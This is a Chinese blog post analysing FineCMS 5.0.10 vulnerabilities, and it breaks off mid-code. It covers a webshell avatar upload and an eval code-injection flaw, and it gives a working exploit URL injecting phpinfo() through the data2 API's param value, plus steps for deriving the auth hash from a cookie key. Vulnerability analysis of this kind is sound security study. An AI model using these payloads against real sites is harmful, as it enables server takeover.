网络安全-实战篇 技能篇丨FineCMS 5.0.10 多个漏洞详细分析

本文详细分析了FineCMS 5.0.10版本的多个安全漏洞,包括文件上传、任意SQL执行等,通过漏洞复现和分析过程,帮助读者理解并提升网络安全技能。修复方法和CI框架的数据库操作也进行了探讨。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能。

注:篇幅较长,阅读用时约7分钟。

									**任意文件上传漏洞**

1、漏洞复现

用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。

抓包,修改文件后缀名为.php并发包。
在这里插入图片描述
可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php
在这里插入图片描述
2、漏洞分析

文件:

finecms/dayrui/controllers/member/Account.php 177~244行

/**
 * 上传头像处理
 * 传入头像压缩包,解压到指定文件夹后删除非图片文件
 */
public function upload() {
 // 创建图片存储文件夹
 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
 @dr_dir_delete($dir);
 !is_dir($dir) && dr_mkdirs($dir);
 if ($_POST['tx']) {
 $file = str_replace(' ', '+', $_POST['tx']);
 if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
 $new_file = $dir.'0x0.'.$result[2];
 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
 exit(dr_json(0, '目录权限不足或磁盘已满'));
 } else {
 $this->load->library('image_lib');
 $config['create_thumb'] = TRUE;
 $config['thumb_marker'] = '';
 $config['maintain_ratio'] = FALSE;
 $config['source_image'] = $new_file;
 foreach (array(30, 45, 90, 180) as $a) {
 $config['width'] = $config['height'] = $a;
 $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
 $this->image_lib->initialize($config);
 if (!$this->image_lib->resize()) {
 exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
 break;
 }
 }
 list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
 !$type && exit(dr_json(0, '图片字符串不规范'));
 }
 } else {
 exit(dr_json(0, '图片字符串不规范'));
 }
 } else {
 exit(dr_json(0, '图片不存在'));
 }
// 上传图片到服务器
 if (defined('UCSSO_API')) {
 $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
 !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
 }
 exit('1');
}
在版本5.0.8中也曾存在问题,官方采用了白名单的思想进行修复,代码如下:

 if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
 exit(dr_json(0, '目录权限不足'));
 }
 ...
 $c = 0;
 if ($fp = @opendir($dir)) {
 while (FALSE !== ($file = readdir($fp))) {
 $ext = substr(strrchr($file, '.'), 1);
 if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
 if (copy($dir.$file, $my.$file)) {
 $c++;
 }
 }
 }
 closedir($fp);
 }
 if (!$c) {
 exit(dr_json(0, fc_lang('未找到目录中的图片')));
 }
														***任意代码执行漏洞***

1、漏洞复现

auth下面的分析过程中会讲解到如何获取。

浏览器输入:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache name=MEMBER.1'];phpinfo( );$a=[%271
在这里插入图片描述
2、漏洞分析

这个漏洞的文件在:


/finecms/dayrui/controllers/Api.php的data2( )

public function data2() {
 $data = array();
 // 安全码认证
 $auth = $this->input->get('auth', true);
 if ($auth != md5(SYS_KEY)) {
 // 授权认证码不正确
 $data = array('msg' => '授权认证码不正确', 'code' => 0);
 } else {
 // 解析数据
 $cache = '';
 $param = $this->input->get('param');
 if (isset($param['cache']) && $param['cache']) {
 $cache = md5(dr_array2string($param));
 $data = $this->get_cache_data($cache);
 }
 if (!$data) {
 // list数据查询
 $data = $this->template->list_tag($param);
 $data['code'] = $data['error'] ? 0 : 1;
 unset($data['sql'], $data['pages']);
 // 缓存数据
 $cache && $this->set_cache_data($cache, $data, $param['cache']);
 }
 }
 // 接收参数
 $format = $this->input->get('format');
 $function = $this->input->get('function');
 if ($function) {
 if (!function_exists($function)) {
 $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
 } else {
 $data = $function($data);
 }
 }
 // 页面输出
 if ($format == 'php') {
 print_r($data);
 } elseif ($format == 'jsonp') {
 // 自定义返回名称
 echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
 } else {
 // 自定义返回名称
 echo $this->callback_json($data);
 }
 exit;
 }
可以看到开头这里验证了认证码:

// 安全码认证
 $auth = $this->input->get('auth', true);
 if ($auth != md5(SYS_KEY)) {
 // 授权认证码不正确
 $data = array('msg' => '授权认证码不正确', 'code' => 0);
 } else {
授权码在/config/system.php

在这里插入图片描述
可以看到SYS_KEY是固定的,我们可以在Cookies找到:

/finecms/dayrui/config/config.php

在这里插入图片描述
用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。
在这里插入图片描述

直接看到这一段,调用了Template对象里面的list_tag函数:

if (!$data) {
 // list数据查询
 $data = $this->template->list_tag($param);
 $data['code'] = $data['error'] ? 0 : 1;
 unset($data['sql'], $data['pages']);
 // 缓存数据
 $cache && $this->set_cache_data($cache, $data, $param['cache']);
 }
我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分为两个数组$var、$val,这两个数组的内容分别为:

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']
$cache=_cache_var是返回会员的信息。

重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
 $var = substr($t, 0, strpos($t, '='));
 $val = substr($t, strpos($t, '=') + 1);
再看这一段,因为swtich选中的是cache,所以就不再进行下面的分析了。

$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备,为了分离出的内容为:

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
 // action
 switch ($system['action']) {
 case 'cache': // 系统缓存数据
 if (!isset($param['name'])) {
 return $this->_return($system['return'], 'name参数不存在');
 }
 $pos = strpos($param['name'], '.');
 if ($pos !== FALSE) {
 $_name = substr($param['name'], 0, $pos);
 $_param = substr($param['name'], $pos + 1);
 } else {
 $_name = $param['name'];
 $_param = NULL;
 }
 $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
 if (!$cache) {
 return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
 }
 if ($_param) {
 $data = array();
 @evai('$data=$cache'.$this->_get_var($_param).';');
 if (!$data) 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值